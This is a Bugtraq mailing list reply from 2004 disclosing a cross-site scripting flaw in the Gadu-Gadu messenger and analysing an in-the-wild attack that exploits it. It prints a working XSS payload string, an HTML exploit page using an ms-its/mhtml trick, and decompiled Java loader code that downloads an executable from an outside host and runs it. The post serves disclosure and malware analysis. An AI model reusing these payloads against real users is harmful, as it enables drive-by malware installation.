Bugtraq mailing list archives
Re: Gadu-Gadu, another two bugs
From: Przemyslaw Frasunek <venglin () freebsd lublin pl>
Date: Mon, 20 Dec 2004 18:20:37 +0100
Jaroslaw Sajko wrote:
Send such a string to any receipent: www.po"style=background-image:url(javascript:document.write('%3cscript%3ealert%28%22you%20are%20owned!%22%29%3c%2fscript%3e'));".pl
Beware, this bug is being already exploited in the wild. I have just received the following message from WWW to GG gateway (gg# 7021349):
www.po"style=background-image:url(javascript:window.open('http://iframedollars.biz/dl/adv407.php','','left=10000'));".pl The adv407.php file contains the following HTML code: [html][head] [/head][body] [textarea id="cxw" style="display:none;"] [object data="${PR}" type="text/x-scriptlet"][/object] [/textarea] [script language="javascript"] document.write(cxw.value.replace(/\${PR}/g,'ms-its:mhtml:file://c:\\nosuch.mht!http://iframedollars.biz/dl/adv407/x.chm::/x.htm')); [/script][applet width=1 height=1 ARCHIVE=loaderadv407.jar code=Counter][/APPLET][/body][/html]
After downloading and decompiling loaderadv407.jar I noticed, that it does: URL url1 = new URL("http://iframedollars.biz/dl/loadadv407.exe"); URLConnection urlconnection = url1.openConnection(); [...] FileOutputStream fileoutputstream = new FileOutputStream(s4 + "\\loadnew.exe"); [...] as[0] = s4 + "\\loadnew.exe"; Process process = Runtime.getRuntime().exec(as); Clamav recognizes this binary as Trojan.Qhost.O. -- * Fido: 2:480/124 ** WWW: http://www.frasunek.com/ ** NICHDL: PMF9-RIPE * * JID: venglin () jabber atman pl ** PGP ID: 2578FCAD ** HAM-RADIO: SQ8JIV *
Current thread:
- Gadu-Gadu, another two bugs Jaroslaw Sajko (Dec 17)
- Re: Gadu-Gadu, another two bugs Przemyslaw Frasunek (Dec 20)
- Re: [Full-Disclosure] Re: Gadu-Gadu, another two bugs Maciej Soltysiak (Dec 20)
- Re: Gadu-Gadu, another two bugs Przemyslaw Frasunek (Dec 20)